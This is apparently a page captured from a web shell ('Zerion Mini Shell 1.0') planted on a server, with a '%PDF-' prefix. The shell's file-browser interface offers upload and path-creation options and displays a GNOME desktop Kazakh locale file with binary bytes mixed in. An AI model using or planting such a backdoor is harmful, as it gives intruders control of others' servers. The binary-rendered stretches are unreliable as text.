%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/gnome-42-2204/176/usr/share/locale/kk/LC_MESSAGES/
Upload File :
Create Path :
Current File : //snap/gnome-42-2204/176/usr/share/locale/kk/LC_MESSAGES/gnome-desktop-3.0.mo

��$<5\014:@IVfy��	�������$ DE�
��������%�F �g*5i`���z}��������	���		!	*	M7	'�	a�	
'
<
D
Z
Kc
�
�
8�
Zxo@�@)
�j
!!
#
$	 "%R%R:%S%a %R%a %R:%S%a %b %-e_%R%a %b %-e_%R:%S%a %b %-e_%l:%M %p%a %b %-e_%l:%M:%S %p%a %l:%M %p%a %l:%M:%S %p%b %-e_%R%b %-e_%R:%S%b %-e_%l:%M %p%b %-e_%l:%M:%S %p%l:%M %p%l:%M:%S %pAbegedeCRTC %d cannot drive output %sCRTC %d does not support rotation=%dCRTC %d: trying mode %dx%d@%dHz with output at %dx%d@%dHz (pass %d)
CyrillicDevanagariIQTElifLatinSahoTrying modes for CRTC %d
UnspecifiedValenciacannot clone to output %scould not assign CRTCs to outputs:
%snone of the selected modes were compatible with the possible modes:
%soutput %s does not have the same parameters as another cloned output:
existing mode = %d, new mode = %d
existing coordinates = (%d, %d), new coordinates = (%d, %d)
existing rotation = %d, new rotation = %doutput %s does not support mode %dx%d@%dHzrequired virtual size does not fit available size: requested=(%d, %d), minimum=(%d, %d), maximum=(%d, %d)time separator∶Project-Id-Version: 
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/gnome-desktop/issues
PO-Revision-Date: 2020-07-02 11:40+0500
Last-Translator: Baurzhan Muftakhidinov <baurthefirst@gmail.com>
Language-Team: Kazakh <kk_KZ@googlegroups.com>
Language: kk
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=1; plural=0;
X-Generator: Poedit 2.3.1
%R%R:%S%a %R%a %R:%S%a %b %-e_%R%a %b %-e_%R:%S%a %b %-e_%H:%M%a %b %-e_%H:%M:%S%a %H:%M%a %H:%M:%S%b %-e_%R%b %-e_%R:%S%b %-e_%H:%M%b %-e_%H:%M:%S%H:%M%H:%M:%SАбеждеCRT %d контроллері %s шығысын басқара алмайдыCRT %d rotation=%d қолдамайдыCRTC %d: %dx%d@%dГц режимін көру, %dx%d@%dГц шығысымен (%d-талабы)
Кирилл жазуыДеванагариIQTElifЛатын жазуыСахоCRT %d контроллері үшін режимдерді тексеру
КөрсетілмегенВаленсия%s шығысына клондау мүмкін емесшығыстар үшін CRT контроллерларын орнату сәтсіз:
%sтаңдалған режимдердің ешқайсысы да мүмкін режиммен үйлеспейді:
%s%s шығысының баптаулары басқа клондалған баптауларынан өзгеше:
бар режимі = %d, жаңа режим = %d
бар координаттар = (%d, %d), жаңа координаттар = (%d, %d)
бар айналдыру = %d, жаңа айналдыру = %d%s шығысы %dx%d@%dГц режимін қолдамайдысұралған виртуалды өлшемі қолжетерлік өлшемге сыймайды: сұралған=(%d, %d), минимум=(%d, %d), максимум=(%d, %d)∶

Zerion Mini Shell 1.0